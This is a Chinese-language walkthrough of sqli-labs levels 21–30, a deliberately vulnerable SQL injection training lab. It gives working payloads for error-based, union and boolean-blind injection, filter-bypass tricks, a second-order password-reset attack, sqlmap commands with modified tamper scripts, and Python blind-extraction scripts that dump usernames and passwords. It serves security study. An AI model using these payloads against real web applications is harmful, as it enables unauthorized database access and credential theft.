sqli-labs靶场练习Less21-30
作者:ch4nge
环境:本地搭建/BUUOJ
目录
- sqli-labs靶场练习Less21-30
- 前言
- sqli-labs(21)-Less 21·cookie·E·base64encode
- sqli-labs(22)-Less 22·cookie·E·base64encode
- sqli-labs(23)-Less 23·U
- sqli-labs(24)-Less 24·二次注入
- sqli-labs(25)-Less 25·E·()
- sqli-labs(25a)-Less 25a·E·()
- sqli-labs(26)-Less26·E·B
- sqli-labs(26a)-Less 26a·B
- sqli-labs(27)-Less 27
- sqli-labs(27a)-Less 27a
- sqli-labs(28)-Less 28
- sqli-labs(28a)-Less 28a
- sqli-labs(29)-Less 29
- sqli-labs(30)-Less 30
前言
前面几篇文章是分开写的关卡,这里一起合并了。希望看到文章的小伙伴一起交流学习,有错误的地方欢迎指正,先在这里谢过~
sqli-labs(21)-Less 21·cookie·E·base64encode
Base64encode之后注入
注入操作同20
登录框没有注入点
setcookie('uname', base64_encode($row1['username']), time()+3600);
手注
cookie经过了base64加密
这里后台在处理uname的时候又对其进行了解码,直接导致了注入,当然因为是base64_decode,所以我们需要先对攻击语句进行base64编码过后,再进行输入,这些操作都可以通过burpsuite抓包,然后修改cookie的uname值完成。
Payload如下
') AND (updatexml(1,concat(0x7e,(select database()),0x7e),1)) or ('
') AND (updatexml(1,concat(0x7e,(select database()),0x7e),1))#
sqlmap
sqlmap -r less21.txt --cookie --dbms mysql -technique E --current-db --tamper=base64encode.py
–tamper指定脚本
sqlmap -r less21.txt --cookie --dbms mysql -technique E --tamper=base64encode.py -D security --tables
sqli-labs(22)-Less 22·cookie·E·base64encode
代码:
$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
比21关差别是一个”
手注
" AND (updatexml(1,concat(0x7e,(select database()),0x7e),1))#
或者后面闭合”
" AND (updatexml(1,concat(0x7e,(select database()),0x7e),1)) AND "1"="1
sqlmap
Cookie=*
sqlmap -r less22.txt --cookie --dbms mysql -technique E --current-db --tamper=base64encode.py
sqli-labs(23)-Less 23·U
这一关加了过滤,# --不能用,但是可以用 '
闭合
过滤语句很好理解,在get方式获取到的id值中含有# --替换为空
$id=$_GET['id'];
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
思路1
不可以直接用order by判断列数的原因和mysql执行解析的顺序(优先级)有关
分析 SQL 语句找到绕过注入的方式,后台的查询语句是这样的:
SELECT * FROM xxx WHERE id='$id' LIMIT 0,1
注入点在id处,我们要判断字段数用的是order by子句,同时闭合第二个单引号:
SELECT * FROM xxx WHERE id='1' order by 4 and '1'='1' LIMIT 0,1
本意是能从报错信息判断查询返回表共有几个字段,但是回显很正常:,order by 数字任意都不会报错
引用https://www.jianshu.com/p/2602430f8ee4
在 MySQL 中分别查询两个顺序不同的语句,结果如下:
where与order by是子句,and是操作符,用于where子句。
在MySQL的执行顺序中,where在order by前面。
在第一个查询语句中,id=‘1’ and ‘1’='1’作为where的条件,先被执行,得到结果集;然后是order by,因结果集中无第四个字段所以报错。
在第二个查询语句中,order by在where的条件中,在where执行时被忽略了,结果集生成后并未再执行order by。
所以这关不能用order by来判断字段数,而要用union:
SELECT * FROM table_name WHERE id='1' union select 1,2,3,4 or '1'='1' LIMIT 0,1
这里的or作为了联合查询第二个语句的条件而不是第一个语句where的条件。?id=1' union select 1,2,3,4 or '1'='1
http://192.168.1.218/sqli-labs-master/Less-23/?id=1' union select 1,2,3 or '1'='1
?id=1’ union select 1,2,3 or ‘1’=‘1 正确
?id=1’ union select 1,2,3,4 or ‘1’='1 错误
所以有3列
这里令id为不存在的值-1,使原本查询内容为空,返回union查询结果。
爆数据库名字
爆表名:注意注入点要写
(select group_concat(table_name) from information_schema.tables where table_schema=database())
Payload:
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 or '1'='1
爆字段名,注意表名要加引号
(select group_concat(column_name) from information_schema.columns where able_name=‘users‘)
爆值:
(select group_concat(username,0x3a,password) from users)
注:其实不一定要用or ‘1’='1来闭合,也可以直接用column_3闭合:
?id=-1' union select 1,(select group_concat(concat_ws('-',id,username,password)) from users),'3
思路2
注入语句:
' union select null,version(),'
最后那个引号就可以成功闭合后面的语句,我们来通过源码看一下,更加直观:
原来的sql语句,被注入后变成了:
select * from users where id='' union select null,version(),'' limit 0,1
sqli-labs(24)-Less 24·二次注入
解释:第一次的SQL语句在第二次的操作执行(大概是这样[手动狗头])
?id=1';select database();show tables#
查看初始的admin用户密码为1234
目的:通过注册新的账号admin’#、admin’ or 1=1#、admin’ or 1=1–+、admin’ or ‘1’=’1
密码为1
操作步骤:
1、注册账号密码admin’# 123456
查看数据库添加结果
登录这个账号
2、修改密码为011
再次查看数据库users表内容
发现admin用户密码变成了011,而admin’#密码不变
分析:
1、查看网站登录页面源码:
Login.php
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。可以看出,login页面没有注入点
2、查看注册页面
New_user.php发现将post数据传到了login_create.php页面
3、查看login_create.php页面
此处也没有注入
4、再查看修改密码页面
pass_change.php
用户名username存在注入!
Sql语句解析
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
由于在这里已经登陆了用户1,所以要使用户1的名字是sql注入语句,需要注册一个含有注入符号的用户:admin’#
所以update修改数据库的语句就会变成
$sql = "UPDATE users SET PASSWORD='$pass' where username=' admin’#' and password='$curr_pass' ";
#后面会被注释掉,且语句为真,不再对curr_pass(就是用户1admin’#的密码123456)进行判断,所以成功修改了admin的密码
sqli-labs(25)-Less 25·E·()
打开关卡提示All your ‘OR’ and ‘AND’ belong to us
试了一下,果然or和and都不能用了
OorR重复关键字可以绕过,
过滤语句应该是这样的
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id);
输入oorr的时候,中间的or被替换为空字符,剩余的拼在一起组成了新的or可以使用
i表示大小写也要过滤
根据错误信息修改注释符为闭合语句?id=1' OorR '1'='1
发现成功了,–+也可以注释
爆数据库名?id=-1' union select 1,2,database()--+
查表名
?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+
查字段名
?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users'--+
查值
?id=-1' union select 1,2,group_concat(username,0x3a,passwoorrd) from users--+
最后注passwor 和information中or会被过滤,要写成passwoorrd,infoorrmation
显错行注入也可以,注意or可以||代替
?id=1’ || ‘1’='1
sqli-labs(25a)-Less 25a·E·()
这一关和上一关一样,闭合符号没有了
sql查询语句
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
?id=1 oorr 1=1
sqli-labs(26)-Less26·E·B
先看过滤了哪些符号和关键字
or
、and
、--
、#
、/**/
、空格
、/
、\
常用绕过空格方法:
注释/**/、反引号、双空格、tab、%09、%0a、%0b、%0c、%0d、%a0
使用师傅的脚本测试一下
import requests
def changeToHex(num):
tmp = hex(i).replace("0x", "")
if len(tmp)<2:
tmp = '0' + tmp
return "%" + tmp
req = requests.session()
for i in xrange(0,256):
i = changeToHex(i)
url = "http://localhost/sqli-labs/Less-26/?id=1'" + i + "%26%26" + i + "'1'='1"
ret = req.get(url)
if 'Dumb' in ret.content:
print "good,this can use:" + i
结果如下:
参考URL编码表
看了一些师傅的做法,自己也尝试了一下,%a0解释结果不是空格,上面脚本跑出来的都解释不出来空格。。。
可能是系统版本和搭建套件、版本等问题吧,看到有一个师傅博客也说了这个问题。但是还好括号可以绕过!!!(这道题我用的是windows+phpstudy搭建的靶场)
1. 显错注入(括号绕过空格)
括号绕过如:
这里可以使用()绕过(%a0直接报错)
?id=1' anandd '1'='1
可以正常执行
查表名,这里使用显错注入
?id=1'anandd(updatexml(1,concat(0x7e,(select(database())),0x7e),1))anandd'1'='1
这个真麻烦。。。
表名
写的时候要注意语句之间的关系,比如
select xx from xxx where xxxxx
绕过空格的时候写法就是
select(xx)from(xxx)where(xxxxx)
理解为select选择的xxx来自xxx,但是要满足xxxxx的条件才行
所以把xx都给()起来
也可以简单理解为from 和where旁边没有朝向自己的括号
所以查表的payload
外
?id=1'anandd(updatexml(1,concat(0x7e,(),0x7e),1))anandd'1'='1
里边select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()
?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e),1))anandd'1'='1
注意information里面有or要写成infoorrmation
查字段
select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name=‘users’)
?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users')),0x7e),1))anandd'1'='1
查密码
select(group_concat(username,0x3a,passwoorrd))from(users)where(id=6)
?id=1'anandd(updatexml(1,concat(0x7e,(select(group_concat(username,0x3a,passwoorrd))from(users)where(id=6)),0x7e),1)) anandd '1'='1
2. Boolean盲注
使用脚本进行测试
参考
脚本跑的时候有些字符偶尔会出错,二分法改为遍历也没有解决问题
#!/usr/bin/python
# -*- coding:UTF-8 -*-
import sys
import requests
def getPayload(char_index, ascii):
# 系统表中数据
info_database_name = "infoorrmation_schema"
info_table_name = "schemata" # schemata / tables / columns
info_column_name = "schema_name" # schema_name / table_name / column_name
# 注入表中数据
database_name = "security"
table_name = "users"
column_name = ["id","username","passwoorrd"]
# 附加url
start_str = "1'%26%26"
end_str = "||'1'='"
# 连接select
where_str = ""
#where_str = "where(table_schema='"+database_name+"'%26%26table_name='"+table_name+"')"
select_str = "select(group_concat("+info_column_name+"))from("+info_database_name+"."+info_table_name+")"+where_str
#select_str = "select(group_concat(concat_ws('$',"+column_name[0]+","+column_name[1]+","+column_name[2]+")))from("+table_name+")"
# 连接payload
sqli_str = "(ascii(mid(("+select_str+"),"+str(char_index)+",1))>"+str(ascii)+")"
payload = start_str + sqli_str + end_str
return payload
def execute(char_index, ascii):
# 连接url
url = "http://127.0.0.1/sqlilabs/Less-26/?id="
exec_url = url + getPayload(char_index, ascii)
#print(exec_url)
# 检查回显
echo = "Your Login name"
content = requests.get(exec_url).text
if echo in content:
return True
else:
return False
def dichotomy(char_index, left, right):
while left < right:
# 二分法
ascii = int((left+right)/2)
if execute(str(char_index+1), str(ascii)):
left = ascii
else:
right = ascii
# 结束二分
if left == right-1:
if execute(str(char_index+1), str(ascii)):
ascii += 1
break
else:
break
return chr(ascii)
if __name__ == "__main__":
for len in range(1024): # 查询结果的长度
char = dichotomy(len, 30, 126)
if ord(char) == 31: # 单条查询结果已被遍历
break
sys.stdout.write(char)
sys.stdout.flush()
sys.stdout.write("\r\n")
sys.stdout.flush()
函数说明
mid()函数
ascii()函数/ord()函数
将单个字符串转化为ascii值
sqli-labs(26a)-Less 26a·B
盲注,和Less26操作类似,过滤内容一样
使用盲注,括号绕过空格的过滤
?id=1' aandnd(length(database())>=8)anandd'1'='1
8的时候正常,9的时候报错,说明数据库名字长度为8
开始猜数据库名字,从第一个字母开始猜
数据库名字的范围一般在a~z
、0~9
之间
这里再说一下函数的语法
这里和Less8的时候一样,使用的burpsuite爆破尝试
生成一个字典
payload?id=1' aandnd(substr(database(),1,1)='0')anandd'1'='1
爆破结果以字符串长度排序
数据库,名字的首字母为s
第二个字符payload?id=1' aandnd(substr(database(),2,1)='0')anandd'1'='1
依次测试…
得到数据库名字security
脚本参考Less26
sqli-labs(27)-Less 27
测试了一下,发现union和select被过滤了,可以使用重复进行绕过,空格也被过滤了,
看一下过滤条件
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
过滤真多
好吧,没事,其实和Less26是一样的,继续使用括号,然后需要注意的是这里的and和or没有过滤,所以不用再进行重复写绕过
数据库名字
?id=1'and(updatexml(1,concat(0x7e,(select(database())),0x7e),1))and'1'='1
后面和Less26流程就一样啦,不再重复操作
sqli-labs(27a)-Less 27a
Less27基础上变成了盲注
刚开始没注出来效果,报错信息也没有sql语句,测试了几次发现闭合符号不一样了。做题要细心,又回到起点了,还是先看看闭合符号再考虑其他
测试闭合符号:
?id=1 and 1=2 页面正常
?id=1’ and ‘1’='2 页面正常
?id=1" and “1”="2 页面报错,说明语句执行了,是双引号闭合
后面的话和Less26a一样的,不说了
sqli-labs(28)-Less 28
说明:
Less 28
和Less28a
这两关做的时候尝试了修改Tamper脚本进行sqlmap注入,导致sqlmap警告无法检索行数,查询的数据都是只有一行,通过使用–hex和–no-cast无法解决,后续也没有找到解决方法,如果有知道的师傅请告知一下,谢谢~
基于’)过滤union和select等的注入
判断闭合符号
?id=1 and 1=1 正常
?id=1 and 1=2 正常,说明语句没有执行
?id=1’ and ‘1’=‘2 错误,说明语句已经执行
?id=1’)and(‘1’=‘1 正确
?id=1’)and(‘1’='2 错误
空格被过滤,可以使用%09
%0A
%0D
进行绕过
union注入
union select绕过可以使用
union%0Dall%0Dselect
或者union%0Dunion%0Dselectselect
结尾可以使用闭合方式
?id=0') union%0Dunion%0Dselectselect%0D1,2,('3
或者and闭合
?id=0') union%0Dunion%0Dselectselect%0D1,2,3%0Dand('1
%00截断
使用%00截断?id=0') union%0Dunion%0Dselectselect%091,2,3;%00
后面就很简单啦~~
ERROR注入
未完成:sqlmap–Boolean注入
payload?id=1')and%0Dlength(database())>=8%0D;%00
8正确,9错误
细细想了一下,这一关可以使用sqlmap
空格可以用%09 %0A %0D
那么替换空格可以用sqlmap自带的tamper space2mssqlblank.py
但是要略作修改,因为这个tamper的功能是在('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
里面随机进行空格的替换
所以我们只要里面的三个,修改为如下
还有就是使用Boolean盲注的时候需要注意payload末尾要闭合,这里使用%00截断,要注意的是,不能直接使用sqlmap的添加空字节脚本,略作修改,在payload末尾加上;%00
tamper文件appendnullbyte.py
这样就把需要的准备工作做好了
sqlmap -u "http://d723d51e-9db7-4d49-b8aa-fafe676b18d9.node3.buuoj.cn/Less-28/?id=1')" --tamper "space2mssqlblank.py,appendnullbyte.py" --dbms mysql --technique=B --current-db --level 3
经过思考,修改一下tamper,联合注入也是可以用sqlmap
未完成:sqlmap union联合注入
空格替换和%00截断还用上次修改的脚本
这里要绕过对unionselect的过滤
修改了unionalltounion.py
,这个脚本本意是把UNION ALL SELECT
替换为UNION SELECT
,我们把它修改为:把UNION SELECT 替换为UNION ALL SELECT
保存一下,测试
可以通过
sqlmap -u "http://c378f8aa-eb1c-4523-865b-cff1102442f4.node3.buuoj.cn/Less-28/?id=1')" --tamper "unionalltounion.py,space2mssqlblank.py,appendnullbyte.py" --dbms mysql --technique=U --current-db
再试试注表.。。出问题了
,只显示一行数据,注字段、值都是这样
待续标记~
sqli-labs(28a)-Less 28a
判断闭合符号:
?id=1 and 1=1 正常
?id=1 and 1=2 正常,说明语句没有执行
?id=1’ and ‘1’=‘1 正确
?id=1’)and(‘1’=‘2 错误,说明语句已经执行,继续测试,看是否有括号
?id=1’)and(‘1’=‘1 正确
?id=1’)and(‘1’=‘2 错误,说明语句已经执行,继续测试
?id=1’))and((‘1’=‘1 错误
?id=1’))and((‘1’='2 错误
说明闭合符号为')
union注入
?id=-1') union%0Dunion%0Dselectselect 1,2,3;%00
后面和前面一样了
查用户名密码
?id=-1') union%0Dunion%0Dselectselect 1,2,group_concat(username,0x3a,password) from users;%00
Boolean注入
?id=1') and length(database())>=8;%00
正确
?id=1') and length(database())>=9;%00
错误
数据库长度为8
…
sqli-labs(29)-Less 29
闭合符号:'
注释:--+
和 -- -
union注入
?id=-1’ union select 1,2,database();%00
用户名密码payload
?id=-1' union select 1,2,group_concat(username,0x3a,password) from users;%00
ERROR
数据库名Payload
?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1);%00
id=6时,用户名密码payload(由于一次显示的内容长度有限,所以使用where id条件)
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where id=6),0x7e),1);%00
sqli-labs(30)-Less 30
闭合:"
注释:--+
和 -- -
union注入
操作同Less 29
?id=-1" union select 1,2,3;%00
用户名密码
?id=-1" union select 1,2,group_concat(username,0x3a,password) from users;%00
…
Boolean注入
?id=1" and length(database())>=9;%00 错误
?id=1" and length(database())>=8;%00 正确
说明数据库名字长度为8